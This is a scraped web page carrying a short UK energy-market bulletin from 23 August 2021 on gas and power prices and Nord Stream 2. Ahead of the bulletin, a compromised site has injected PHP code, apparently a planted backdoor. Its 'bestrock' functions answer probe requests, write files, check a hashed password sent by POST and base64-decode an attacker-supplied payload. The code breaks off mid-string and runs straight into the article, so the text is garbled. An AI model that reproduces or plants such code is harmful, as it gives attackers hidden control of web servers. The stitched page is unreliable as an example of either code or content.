function bestrock_render_js(){ echo ""; } function bestrock_render_index(){ echo md5('56749'); } function bestrock_render_ajax(){ try { if(isset($_GET['s1'])) die(md5('js')); if(isset($_POST['t2'])){ $l1 = uniqid(rand(), true) . '.js'; @file_put_contents($l1, 'js'); if(file_exists($l1)){ if(isset($_POST['t1'])){ $d = md5(md5($_POST['t1'])); if($d=="8ae24e6719c47a39da8ad5451432d9a6"){ $d1=$_POST['t2']; $d1=base64_decode($d1); $d4=" Weekly UK Insight - 23 August 2021 - Beond Part of the Group

Weekly UK Insight

The Sept 2021 Gas price fell 5.5% to 104.76p/therm last week, after gas supplier Gazprom confirmed that a controversial Russian pipeline to Europe, Nord Stream 2, can deliver its first batches of natural gas to Germany in 2021.

More than 99% of the pipeline has been completed, according to its operator. But before carrying the first gas to Germany, the link needs to obtain insurance and certification, a task made difficult by U.S. sanctions that restrict providing these services to the project.

The Oct 2021 12 Month Gas price declined 9.3% to 85.53p/therm as news that Nord Stream 2 would increase supply to Europe by 5.6 bcm will help ease a supply crunch in the European market.

European gas storages have only filled to 63% of maximum capacity, compared to 91% at the same point in time last year. This continues to be a major supply risk ahead of the colder winter period.

The Oct 2021 12 Month Power price fell 3.3% to £91.94/MWh, tracking gas, oil, carbon and coal prices lower.

Prices for both gas and power continue to be supported by high levels of tender activity in the run up to the 1 Oct renewal date. With only 5 weeks to go, there is very little time for customers to lock out their 2021 supply contracts.

Weekly UK Insight – 23 August 2021